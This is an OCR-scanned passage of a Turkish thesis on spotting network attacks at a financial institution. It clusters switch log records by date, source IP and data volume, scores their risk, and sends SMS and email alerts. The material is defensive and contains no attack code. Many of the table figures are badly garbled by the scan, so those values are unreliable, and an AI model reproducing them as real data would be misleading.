2014-04-12T18:39:50.078+03:00| wmx| 1120: vix: [4072 mainDispatch. c:4067]: VMAutomation_ReportPowerOpFinished: statevar=0, n
2014-04-12T18:39:50.078+03:00| wvmx| 1120: Transitioned vmx/execState/val to poweredoff

2014-04-12718:39:50.078+03:00| wmx| 1120: vix: [4072 mainDispatch.c:4067]: vMAutomation_ReportPowerOpFinished: statevar=l, n
2014-04-12T18:39:50.078+03:00| wmx| 1120: vix: [4072 mainDispatch.c:4067]: VMAutomation_ReportPowerOpFinished: statevar=2,
2014-04-12T18:39:50.078+03:00| wmx| 1120: vix: [4072 mainDispatch.c:4067]: vMAutomation_ReportPowerOpFinished: statevar=3, n
2014-04-127118:39:50.078+03:00| vmx| 1120: HD: host version is 5.1.2600

2014-04-12T18:39:50.078+03:00| vmx| 1120: HD: addr 80509850

2014-04-12T18:39:50.078+03:00| vmx| 1120: HD: 805620dc, 80354280

2014-04-12T18:39:50.078+03:00| vmx| 1120: Locked 1imit delta -2560 pages

2014-04-12T18:39:50.078+03:00| wvmx| 1120: Locked 1imit delta 2560 pages

2014-04-12T18:39:50.078+03:00| wvmx| 1120: Locked 1imit delta -2560 pages

2014-04-12718:39:50.078+03:00| wmx| 1120: Locked 1imit delta 2560 pages

2014-04-12T18:39:50.078+03:00| wmx| 1120: Locked 1imit delta -2560 pages

2014-04-12718:39:50.078+03:00| wmx| 1120: Locked 1imit delta 2360 pages

2014-04-12T18:39:50.078+03:00| wvmx| I120: Locked 1imit delta -2560 pages

2014-04-12T18:39:50. 078+03:00| wmx| I120: Locked 1imit delta 2360 pages

2014-04-12718:39:50.078+03:00| vmx| I120: Locked Timit delta -2560 pages

2014-04-12T18:39:50.078+03:00| vmx| 1120: Locked 1imit delta 2560 pages

2014-04-12T18:39:50.078+03:00| wmx| I120: verificationofHostParameters status 0

andasrs s Anin donlicar fon Datah e

=

1 1] 3

Sekil 32. Log Kaydi Ornegi
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5.5 Uygulama Sonuglarinin izlenmesi ve Analizi

Switch(anahtar) network cihazinin tuttugu denetim izi (log) kaydi dosyasinin
igerisinde bulunan gereksiz alanlar silindikten sonra geriye kalan alanlar Sekil - 33 de
goriildigii gibidir. Tabloda temizlenen alanlar cihazin konfigiirasyon(yapilandirma)

ayarlari, bu ayarlarin yapildigi tarih, kapatilma ve agilmasina dair bilgileri igermektedir.

3 Results UJ Messages
Log_ID " Log_Tarh VLog_Saat VLog_KuIIanici VLog_Kaynak Log_Hedef VLog_Data
1} | 20140601 00:00:01.... user 160.17.45.75 192.168.10.71 134
2 2014-06-01 00:00:10.... root 181.16.70.34 192.168.10.83 192
3 20140601 0000:19... nobody 160.174575 1921681083 285
4 2014-06-01 00:00:28.... nobody 160.17.45.75 192.168.10.83 285
5 2014-06-01 00:00:37.... nobody 160.17.45.75 192.168.10.83 285
|6 2014-06-01 00:00:46.... nobody 160.17.45.75 192.168.10.83 285
|7 2014-06-01 00:00:55....  nobody 160.17.45.75 192.168.10.83 285
8 20140601 00:01:04.... nobody 160.17.45.75 192.168.10.83 285
9 2014-06-01 00:01:13...  admin 142.87.29.19 192.168.10.63 59
j 10 10 2014-06-01 00:01:22... admin 142.87.29.19 192.168.10.63 7
; kil 11 2014-06-01 00:01:31.... user 195.89.41.23 192.168.10.5 104
|12 12 2014-06-01 00:01:40.... nobody 195.89.81.56 192.168.10.11 2
13113 2014-06-01 00:01:49....  nobody 195.89.81.56 192.168.10.11 17
14 14 2014-06-01 00:01:58.... nobody 195.89.81.56 192.168.10.11 2
15 15 2014-06-01 00:02:07.... nobody 195.89.81.56 192.168.10.83 345
16 16 2014-06-01 00:02:16.... nobody 195.89.81.56 192.168.10.83 459
1wt 17 2014-06-01 00:02:25.... nobody 195.89.81.56 192.168.10.83 690
j 18 18 2014-06-01 00:02:34.... nobody 195.89.81.56 192.168.10.83 710
; 19 19 2014-06-01 00:02:43... user 145.78.56.87 192.168.10.83 50
2 2 2014-06-01 00:0252... user 145.78.56.87 192.168.10.83 81
2l 21 2014-06-01 00:03:01.... user 145.78.56.87 192.168.10.83 354
2 2 2014-06-01 00:03:10... user 145.78.56.87 192.168.10.83 546
23 2B 2014-06-01 00:03:19... user 145.78.56.87 192.168.10.83 210

Sekil 33. Log Tablosu
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Bu Log tablosunun disinda finans kurulusunda tiim ag cihazlari, yazicilar, PC ‘ler,

sunuculara ait IP ‘ler tablo da yer almaktadir. (Sekil-34)

100% ~ ¢
[ Results L.E_:l Messages
IPID IP_No IP_Gihaz IP_Acklama  IP_Sube
1 i1 192168101  Network AjChaz Bigi Teknolojler  Genel Mdiriik
2 2 192168102  Network AjChaz Bigi Teknolojleri Genel Midiriik
3 3 192168103  Network AjChaz Bigi Teknolojleri Genel Midrik
4 4 192168104  Network AjChaz Bigi Teknolojleri Genel Midiriik
5 5 192.168.105  Network A3 Chaz  Bilgi Teknolojleri  Genel Maduruk
6 6 192168106  Netwok AjChaz Bigi Teknolojleri Genel Midirik
7 7 192168107  Network A3Chaz Bigi Teknolojleri Genel Midirik
8 8 192168108  Netwok AjChaz Bigi Teknolojleri Genel Midiriik
9 9 192168109  Network AjChaz Bigi Teknolojleri Genel Midrik
10 10  192168.10.10 Network A3 Ghaz Bigi Teknolojlei  Genel Midirik
1111 192168.10.11 PC/Laptop Ust Yonetim  Genel Midirik
12 12 192168.10.12 PC/Laptop Ust Yonetim  Genel Madirik
13 13 192168.10.13 PC/Laptop Ust Yonetim ~ Genel Midiiik
4 14 192168.10.14 PC/Laptop Ust Yonetim ~ Genel Mk
15 15  192168.10.15 PC/Laptop Ust Yonetm  Genel Midiriik
16 16  192168.10.16 PC/Laptop Ust Yonetim  Genel Midiriik
17 17 192168.10.17 PC/Laptop Ust Yonetim  Genel Midrik
18 18 192168.10.18 PC/Laptop Ust Yonetim  Genel Midirik
19 19 192168.10.19 PC/Laptop Ust Yonetim  Genel Midirik
20 20 1921681020 PC/Laptop Ust Yonetim  Genel Midriik
21 21 1921681021 PC/Laptop Muhasebe Genel Midirik
2 2 1921681022 PC/Laptop Muhasebe Genel Midirik
23 23 1921681023 PC/Laptop Muhasebe Genel Midirik
24 24 1921681024 PC/Laptop Muhasebe Genel Madirik
25 25 1921681025 PC/Laptop Muhasebe Genel Midirik

Sekil 34. IP Tablosu
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Oncelikle tarihler kullanarak her bir tarih i¢in farkl1 bir grup olusturulacaktir.
Log kaydi otuz giinliik yani bir aylik ise her bir giin i¢in 30 ayr1 kiime olusturulacagini

gosterir.

Ikinci adimda gelen ip adresleri i¢ ip olup olmadigmin kontrolii. Burada i¢ ip
ise bir kiimeye dis ip ise farkli bir kiimeye ayirma islemi yapilacaktir. I¢ Ip adresi ile
kuruma ait bir ip adresinin kontrolii anlatilmak istenmektedir. Genel Midiirlik ve
Ankara Subesinin ip adresleri de IP tablosunda yer almaktadir. Bu ip adreslerinde saldir1
ancak zararli bir yazilimin ilgili cihaza bulasmasi ya da aga girip buradan internete
¢ikmasi ya da Genel Mudiirliikteki bir sunucuya saldirma ihtimalini de g6z Oniinde
tutmak gerekir. Her iki durumda da gelen data miktar1 6nem arz etmektedir. Data
miktar1 yiiksek fakat daha once bilinmeyen IP adreslerinin olabilecegi gibi siirekli
yiiksek miktarda data gonderen IP adresleride olabilecektir. Log saatlerinin kontrolii bir
sonraki adimda incelenmesi islemi kolaylagtiracaktir. Ayni saat igerisinde defalarca
gelen ip adresi ve data miktar1 yliksekse buradan kurum agma bir saldir1 oldugunun
gostergesidir. Kullanici adlarinin tabloda olmasi iki olasilik iizerinde diisiiniilecektir.
Birincisi gercek kisisel bilgisayar ad1 olabilecegi gibi digeri de proxy iizerinden sahte ip

ile gelen kullanic1 adi nobody ya da user olanlaridir.

Tarih

IP Adresi

Data Miktarn

Sekil 35. Kiimeleme Islemi
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Elimizde bulunan 6rnek log kayitlarina sirasiyla 6nce Tarih, IP adresi ve Data
miktarina gore gruplandirildi. Gruplandirma sonrasinda kosullar yazildi. Bu kosullar

sunlardir:

e Ayni giin icerisinde gelenlerin (Ayni1 IP Numaralar igerisinde) toplami bes den
biiyiik olanlar,

e (Gonderilen data miktar:1 250 Kilo Bayt (Byte) ‘dan yiiksek olanlari,

e Log Tarihlerine gore aym giin gelenler igerisinde tarihleri goz Oniinde

tutuldugunda sayilart birden biiyiik olanlar

[ Resutts s Mmages|
| logID  logTath  log Saat log Kulaci Log_Kaynak Log_Hedef Log_Data
| 1 00:0001... user 1921681071 134
D) 7 00:00:10....  root 192.168.10.83 1

e 00:00:19.... nobody 192.168.10.83 5
14 4 00:00:28.... nobody 192.168.10.83 85
T 00:00:37.... nobody 192.168.10.83 85
16 6 00:00:46.... nobody 192.168.10.83 285
Tuw! 7 00:00:55.... nchody 192.168.10.83 285
8 8 00:01:04... nc r 192.168. '83 285
N 2014-06-01 | 142.87.29.19 192162 3 59
10 10 2014-06-01 ol 142.87.29.19 7
n n 2014-06-01 o 195.89.41.23 104
129 42 2014-06-01 ol 195.89.81.56 25
13 13 2014-06-01 00:01:4Y.... nc 195.89.81.56 192.100. 17
14 14 2014-06-01 00:01:58... nc gy 195.89.81.56 192.168. .1 2
15 15 2014-06-01 00:02:07.... nobody 195.89.81.56 192.168.10.83 345
16 16 2014-06-01 00:02:16.... nobody 192.168.10.83 459
(17 17 2014-06-01 00:02:25... nobody 192.168.10.83 690
18 18 2014-06-01 00:02:34... nobody 192.168.10.83 710
19 19 2014-06-01 00:02:43.... user 192.168.10.83 50
20 2 2014-06-01 00:02:52.... user 192.168.10.83 1
21 21 14-06-01 00:03:01.... user 192.168.10.83

22| 22 14-06-0 00:03:10....  user 192.168.10.83

234 23 00:03:19.... user 192.168.10.83 21
‘ 3.1| 2 NANENT MR rweer 1921RR 1083 230

Sekil 36. Tablo Uzerinde Kiimeleme Islemi
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Sekil — 36 da goriildiigii lizere elimizde bulunan 6rnek log dosyasinda Log
Tarihi, Log Kaynak Ip Adresi ve Log Data miktar1 kiimeleme isleminde Sekil — 35 de
gosterildigi gibi bir kiimeleme islemine sokulmustur. Gergek bir ag cihazinin
tutabilecegi log kaydi diisiiniilerek log kayitlar tiretilmistir. Burada belirtilmek istenilen
ornek bir model olarak bdyle bir ¢alismanin nasil sonuglanabilecegi ve gerekli verinin

elde edilmesinde yapilan galisma gosterilmistir.

Resuts ﬁ Messages

Log Tanhi  Log Tanh [Adet]  Log Kaymak(Gelen P Numaras))  Log KaynakiGelen IP Numaras) (Adet]  Toplam Data Midan
| 060 2 10921 i e
) MR 19 TNk W )
(T T 0174575 i e
bR 6 1058915 8 50
5 JHED 68 QLA i 75

Sekil 37. Kiimeleme Isleminin Sonuglar

Sekil - 37 de log tablosunda yer alan ilk bin kayit igerisinde yapilan kiimeleme
sonucu goriilmektedir. Burada bes IP adresinin giin icerisinde ne kadar siklikla giris
yaptiklar1 ve gonderdikleri data miktar1 goriilmektedir. Gonderilen data miktarinda ki
bliyiikliik hem de giin icerisinde aga giris sayilarinin yiikseklikleri bunlarin her birinin

bir kuruma birer saldirisi olabileceginin ilk tablo sonuglaridir.
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Belirtilen tarih igerisinde saldir1 olabilecegi goriilen IP adresleri Sekil — 37 de goriildigi

tizere sunlardir:

o 142.87.29.19
e 145.78.56.87
e 160.17.45.75
e 195.89.81.56

e 02.45.28.60

Bu sonuglar sonrasinda 6rnek loglarimizin yer aldigi veri tabanma bir alan
daha olusturulacaktir. Log_Siklik adinda ki bu alanda yukarida yer alan IP adresleri
karsisinda deger girilecektir. Bu alan sifir ve bir degerlerini alacaktir. Sifir degerini
kiimeleme sonrasinda listelenmeyen degerler icin, bir degeri ise listede c¢ikan IP
adresleri icin bulunacaktir. Log siklik alanina Sekil — 37 de goriildiigii gibi ¢ikan ip
adreslerinin karsisina Log Sikligi alanina bir degeri girilecek. Bu ip adreslerinde

olmayanlarin ise deger olarak sifir girilecektir. (Sekil — 38)
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Resuts _[_JJ_ Messages

LoD logTah  logSet logKimci logKamsk  logHedd  Loglata Log Sktk
1T A 000D user WA RGN 18 1
22 MWD 000N o BIBNM  REBNE 192 0
33 GO 00001.. nobody WIEE  REBNG 8 1
44 WD 0002 nobody WA NG 8 1
5 5 40601 OR0D3T.. nobody WS RIBNG 8 1
66 WO 000046 nobody W4T 1R8N 8 1
77 AMO601 D005 nobody WA NG 8 1
88 WM6R  DROIM.. nobody W74 1R8N 8 1
99 AMABN D01 adnin WA IRIRI0E K 1
0N MR W02 A9 IR0 7 1
N D 013 user 009413 1RIEI05 1 0
0 N 00014 nobody 19689815 121800 2 1
BB AM0E0 OR0T.. nobody 1589815 R0 17 1
U D OD0ISE... nobody 19589815 1081011 2 1
515 AMO601  ORO207.. nobody 19589015 1RIBNE U 1
6 16 B0 000276 nobody 19509815 1108 49 1
77 AMER D25 nobody 10589815 12066108 &0 1
B 16 460 002K nobody 99015 10BN 70 1
1919 WD 00K uer WSTRSET  1RIGRI0R K 1
DN AN RS e WSTBS6ET  1RIEBNE 6 1
2020 AWEN 00 user WETBSEET  IRIGRI0E M 1
2 2 AEN BN e WSTBS6ET  TRIGBNE 54 1
BB NHEN BN e WSTBS6ET  1M6BN0& 210 1
% % AWEN DB e WETBBGET  1RIEBNE 20 1

Sekil 38. Kiimeleme Islemi (Log Siklig)

Sekil — 38 de yapilan islem tabloda bulunan ilk 1000 kayit i¢in uygulanmistir. Bu
calismada kullanilan veriler tarafimdan olusturulmustur. Log dosyasi1 toplam 65525 satir

kayit icermekte ve bu kayitlarin 6rnek finansal kurumun bir haftalik log kaydidir.

86



Ornek log tablosunda bulunan sisteme giris yapan ip adresleri igerisinde
kuruma ait ip adreslerinin ayrilma islemi bu adimda yapilacaktir. Kuruma ait olmayan
ip adreslerinin de farkli bir sinifa ayrilmasi islemi uygulanacak. Genelde ilk saldirilar
kurum dis1 yapilmakta olup ilk dnceligimiz kurum dis1 IP leri tespit etmek olacaktir.
Yabanci IP adreslerinin tespiti sonrast kurum IP adreslerinin kontrolii ya da her ikisinin

ayn1 anda kontrol edilmesi dogru sonuca varilacaktir.

Genel
Mudiirlik
IP

I¢ IP Adresleri
) Adresleri
Ankara

Tim IP Subesi IP
Adresleri Adresleri

|

|

Adresleri

Sekil 39. IP Siniflandirmasi
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Sekil — 39 da goriildiigii tizere IP adreslerinin siiflandirilmasi igin 6rnek log tablosunda

“Log Grup No” adinda bir alan eklendi.

Bu alan i¢in su degerler girilecektir:

e Finans Kurulusuna ait IP adresleri i¢in: 0 degeri,

e Finans Kurulusuna ait olmaya IP adresleri igin: 1 degeri

IP adreslerinin kurum i¢i ve kurum disina gore gruplandirma islemi i¢in daha
onceden olusturulmus “IP List” tablosunda mevcut olan IP adreslerinin gelen IP
adresleri icinde olup olmadiginin kontroliiniin yapilmasi. Bu islemi ilk basta
kontroliiniin yapilmamasmin nedeni sistem {izerinde performansin olumsuz yonde
etkilenmemesi ve kurum aginda girislerde yavaslamanin yasanmamasi igin
disiiniilmistiir. Sekil — 37 de yapilan kiimeleme islemi sonucunda tehdit olarak
aliabilecek IP adresleri igerisinde kurum iginde bir ag cihaz1 ya da sunucu
bulunmamaktadir. Elimizde bulunan 6rnek bir log dosyasi sonucu ortaya ¢ikan bu sonug

ornek olsa dahi tehditlerin yiiksek bir ¢ogunlugu kurum disinda yapilmaktadir.

IP adresinin siniflandirilmast iglemi oOrnek log tablosunda uygulanmasi
sonrasinda elde edilen veriler arasinda iliski kurulmasina sira geldi. Bu adimda

izlenecek yol su sekildedir:
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e Belirlenen giin igerisinde giren IP adreslerinin siklig1 sonucunda elde
edilen yeni veri olan “Log Siklig1” degeri

e Kurum i¢i ya da kurum dis1 ip adresine gore siniflandirmada elde edilen
“Log Grup No” degeri

e Log Data miktari

Yukaridaki {i¢ kriter goz oniinde bulundurularak giin igerisinde toplam data
miktar1 gére IP degeri i¢in “Log Olasilik” adinda bir alan olusturulup ve buraya % 1-
100 arasinda deger girilmesi saglanacaktir. “Log Olasilik” alanina girilecek degerler

sunlardir:

e Toplam Data Miktar1 1-250 KByte olan i¢in : %25 degeri,
e 251 -1000 KByte degeri i¢in : %50 degeri,
e 1.000—-2.000 KByte degeri icin : %75 degeri,

e 2.001 ve iizeri KByte degeri icin : %100 degeri

Olasilik degerinin “Log Olasilik” alanina IP adreslerinin bulundugu alanin
karsisina degerlerin girilmesi ve ardindan bu olasilik degerlerinin analiz edilmesi.
Burada kritik 6nem arz eden %50 ve iizerinde ¢ikan degerlerinin kritik dnem arz
etmesidir. Yiizde elli ve altinda ¢ikan degerler diisiik olasilikli ve kurum i¢in risk olarak

algilanamayacagidir.
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Burada oOrnek finansal kurumumuzun risk degerini kurum ydnetiminin
tarafindan belirlenmesi ve bu degerlerin kurum i¢in risk olusturduguna dair bir BT Risk
Tablosunun var olmasi gerekmektedir. Bu 6rnek calismada olasilik degeri olarak %75
ve iizeri tehdit olasilig olarak kabul edilmistir. Ornek log tablosuna olasilik degerleri

hesaplanip “Log Olasilik” degerleri ilgili IP adreslerinin karsisina degerler atanmistir.

Bu adimdan sonrakiler 6rnek log tablosunu veri tabanina import islemi
yapilmasindan sonra tablo alanlarindaki verileri analiz ¢aligsmast sonucunda elde edilen

yeni verilerin analiz islemi baglayacaktir.

Omek log tablosunda iizerinde son adimda veri tabaninda “Log Tehdit”
alaninin olusturulmasi ve asagidaki kriterlere gore risk degerlerinin belirlenmesidir. Log
Tehdit alaninda ii¢ deger olacaktir. Eger deger bir ise “Yiiksek Riskli”, eger iki ise “Orta
Risk” , eger deger ii¢ ise “Diislik Risk™ degeri girilecektir. Bu degerlerin verilmesinde

asagidaki kriterler g6z oniinde bulundurulacaktir.

Kriterler sunlardir:

e Data miktar1 yiiksek olmasi (Log_Data Siitunu)

e Siklik degerinin biiytikligi (Log_Siklik Siitunu)

e Olasilik degeri (Log_Olasilik Siitunu)

e Kurum i¢i ve kurum dis1 ip deger olmasina gore verilen grup numarasi

(Log_Grup No Siitunu)

90



21 Res | Mesags
log D logTah  Log Kanak log Hedef  Log Data Llog Skik Log Grpo Log stk Log Tehdk Lo TehdiAckiama

(O T Ay R A A VTR 1 ] } Dk Risd
21 N4 1816034 116808 1R 0 1 I } ik Rkl
33 N6 6017407 1R1GBN0E X 1 ] l Orta Rkl
4 4 U060 60174070 1RIGBI0E X 1 ] l Orta Rkl
b & et 60174075 1RIGBI0E 2B 1 ] l Orta Rkl
6 6 AU 607407 1RIGBNE B 1 ] l Orta Risl
T 7 N@ged 1607467 192168108 S0 1 1 10 1 Yiksek R
§ § M0 60174075 1RIGBI0E NN 1 1 10 1 Yiksek sk
§ 9 4060 2072819 101687063 W 1 1 i) ] Dk Risd
0 0 04eR 128219 192168106 7 1 1 i } Dk Rkl
o 0ed 1650428 19218105 1M 0 1 I ] Dtk Rkl
2 0 W) 165086 19800 8 1 1 ] ] Dk Risd
B0 Aed 196586 12800 7 1 i 3 Dtk Rkl
oW W)t 1%8981% 1921681011 2 1 1 i 3 Dk Rkl
16 406D 19%8081% 1016808 W 1 1 ] l Orta Rkl
o 16 0W4%ed 19659806 192168108 49 1 1 (] 2 Orta Rkl
07 W 15508% 192168108 0 1 1 ] l Orta Rkl
B 0 0u%ed 165086 19218108 M0 1 ] l Orta Rkl
9 19 04edt  6TBRH 19216808 N 1 1 i ] Dk Rkl
A 0 N4 M7R%ET 1921681083 B 1 1 ] } Dk Rikd
2 0 AW MM 1R16BI0E W 1 ] l Orta Rkl
2 20 AW MBS 1R1GBN0E M ! 1 ] l Orta Rkl
3 B AU MRN8 1016808 M 1 /i ] Dtk Rkl
A 4 NUD  MeBNET 1R1GBNE W 1 i } Dk Rkl
H % AU M7BNET 1016808 W 1 /i) } Dk R

Sekil 40. Log Tablosunda Tehdit ve Olasilik
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Yapilan islemler sonucunda elimizde bulunan 6rnek log tablosu igerisinde ilk
1000 kayit igerisinde tehdit igerenler tespit edilmistir. Burada tespit edilme sonrasinda
hangilerinin bildirime dahil edilecegine karar verilmesidir. Bu karar da Sistem ve Alt
Yap1 Sorumlularinin karar vermesinde fayda vardir. Bazen orta derecede goriinen bir
risk detayli incelendiginde uzun bir siire sisteme stirekli ataklar yapan bir IP adresi

olabilecegini unutmamak gerekir.

Omek Log Tablosunda bulunan ilk 1000 deger 6rnek modeli agiklamak ve
gorsel olarak anlatilmakta kullanilmistir. Burada ¢ikan degerlerin ancak ilgili kisilere
iletildiginde biiylk 6nem arz eder. Bu o6rnek modelimizde elde ettigimiz bilgilere

finansal kurumda su kisilere bildirim yapilmasi gerekir:

e Bilgi Teknolojilerinden Sorumlu Genel Miidiir Yardimcist ya da Ydnetim
Kurulu Uyesine

e Sistem ve Alt Yap1 Yoneticisine ya da Yetkililerine

e BT Giivenlik Yoneticisine ya da Yetkililerine

e BT Destek Yoneticisine ya da Yetkililerine

Yukarida belirletilen kisiler kurumun yapisina gore degisiklik gosterebilir.
Gelismis kurumlarda yoneticilerin ve yetkililerin gérev tanimlarina uygun olarak bu

konuda yonetime sorularak ilgili kisilerin tespit edilmesi 6nem arz eder.
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Sekil — 40 da tespit edilen risk boyutu orta ve yiiksek olanlarinin bildirilmesi igin sunlar

yapilacaktir:

¢ Bildirimin yapilacak kisilerin cep telefon numaralari ve elektronik posta (e-mail)
adreslerinin belirlenmesi
e Cep telefonlarina kisa mesaj olarak bildirim yapilmasi

e E-Mail adreslerine mail olarak uyar1 mailinin génderilmesi.

Gelisen teknoloji ile beraber insanlarin kullandigi akilli telefonlarin yayginlagmasi
ile beraber kisa mesaj disinda elektronik posta adreslerine gelen elektronik
maillerini gérebilmektedir. Fakat kurumda bildirim yapilmasi gereken kisilerin akilli
telefon kullanip kullanilmadig1 her zaman bilinemeyecegi i¢in telefonlara kisa mesaj

olarak bildirim yapilmasi bir bakima ¢ift yonlii ve kontrollii bir bildirim yapilmis

olur.
ELEKTRONIK
POSTA
(E-MAIL)
KISA MESAJ

Sekil 41. Bildirim Sistemi
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Sekil - 41 de bildirimin nasil yapilacag: sekilsel olarak gosterilmistir. Bildirim
de bulunulacak kisilerin gérev ve yetkileri bakimimda uygun olmasi ve uyari mesaji ya
da elektronik postasi aldiklarinda sisteme miidahale edip gerektiginde ilgili IP adresi ya
da adreslerini bloke edebilmelidir. Geceleyin kurumda bulunup sisteme miidahale etme
yetkisi bulunmayan bir kisiye bildirimin yapilmasi yanlis bir bildirim 6rnegi olacaktir.
Iki vardiyal: kurumlarda geceleyin kurumda bulunan sistem uzman ya da memurlarina
acil bir durum oldugunda sisteme miidahale etme yetkisi verilmelidir. Bu da acil durum

planinda bir 6rnek olarak olmasi gerekir.

Omek modelimizde log kayitlarinin veri tabanina aktarilmas1 ve islenmesi igin
zaman araliklar iyi belirlenmesi gerekir. Kurumun giinliik log kayit sayisinin bilinmesi
ve loglarin sistemleri yormamasi i¢in ayri bir sunucuya alinip orda islenmeye
baslanmas1 diger ag cihazlarin ve sistemlerin performanslarinin  diismesini
engelleyecegi gibi 6rnek modelin daha kisa siirede bildirimler yapmasini da

saglayacaktir.

Log kayitlarinin islenmesinde 09:00 ile 18:00 arasinda ¢alisan bir kurum ig¢in
sabah mesai saati oncesinde zaman tetikleyicisinin baglamasi, 6gle yemeginde 12:00 ile
13:00 saatleri arasinda ve aksam mesai saati sonrasinda calismasi yiiksek miktarda log
kaydr tutan kurumlar i¢in daha iyi olacaktir. Kiiciik ve orta biiyiikliikkteki kurumlarin
ginliik log kayit biyiiklikleri 1 Gigabyte (GB) boyutunda olmaz iken biiyiik
kurumlarda giinliik log kaydi1 1 GB yaklasmakta ve hatta gegmektedir. Boyutu yliksek
olan log kaydinin 6rnek modelde incelenmesi ve tepki verme siireside ge¢ olacagi
bilinmesi gerekir. Bunun i¢in giiniin belirli saatlerinde zaman tetikleyicisinin ¢alisip iki
saat arasinda tutulan kaydi inceleyip cevap vermesi performans ve siire olarak da fayda
gortliir.
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6. SONUC

Bu o6rnek calismada bir finans kurulusunun i¢ aginda yer alan bir switch
(anahtar) ag cihazmin tuttugu log kayitlar1 incelenmesi ve buradan sunuculara ve diger
aga disaridan ya da Genel Miidiirliikk disinda Ankara Subesinde kisisel bilgisayarlar ya
da sunucular iizerinde bilingli ya da bilingsiz bir sekilde yapilan bir saldir1 olup

olmadigini 6nceden belirlenmis kisitlara gore tespit edilmesi amaglanmustir.

Ornek log kayit dosyasinda veriler 6ncelikle veri tabaninda tablodaki alanlara
uyacak sekilde veri tabanina aktarildi. Log dosyasinda gelen oturum agma, oturum
kapatma, sistem yeniden baslatma, konfigiirasyon (yapilandirma) ayarlari, aciklama
icerisinde bulunan uzun metinlerin igerisinde uzun ve anlasilmasi zor alanlar hem
islemleri uzatmamasi hem de dosya boyutu biyiittigii i¢in ¢ikarildi. Mevcut log
dosyalar1 bu tiir gerekli olmayan sadece ilgili cihaz i¢in bir anlam tasiyan bilgiler
tutmasindan dolay1 genellikle boyutlar1 yiiksektir. Yiiksek boyutlu veriler igerisinde

analiz yapmak zor oldugu kadar sonuca ulagmakta bir o kadar siire almaktadir.

Bu calismada mevcut bilgiler veri tabaninda tablolayip burada iliskiler
kurulmaya baslanmistir. Tablodaki mevcut alanlarin disinda dogru sonuca varabilmek
icin alt1 adet alan daha eklenmistir. Bu alanlar gelen ip numarasindan gonderdigi data

miktarina varincaya kadar iliskilendirilip bu alanlar uygun degerler girilmistir.
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Eldeki veriler kullanilarak tehditler hesaplanmis ve bunlar yiiksek, orta, diisiik
olarak ii¢ sinifa ayrilmistir. Bu bilgilerin elde edilmesinden sonra 6rnek ¢alismamizda
bu bilgilerin ilgili kisilere zamaninda ve ¢ift yonlii bir sekilde bildirilmesi i¢in model
olusturulmustur. Modelde elde edilen bilgiler kurumda gorev ve yetkileri itibariyle
sorumlu olan kisilerin cep telefonlarma kisa mesaj olarak ve gerek kisisel
bilgisayarlarina gerekse de akilli telefonlarinda bulunan mail hesaplarina bu sonuglarin
elektronik posta yoluyla bildirimin yapilmasi bilginin gerekli kisilere ¢ift yonli

bildirilmesinde en saglikl1 yol olacaktir.

Bu ¢alisma ayni zamanda kurumlarda log incelemesinden dolay1 vakit kaybini
ortadan kaldiracagi ve bilgi giivenligi birimlerinde gorev yapan yetkililer i¢inde biiyiik

bir kolaylik saglayacaktir.
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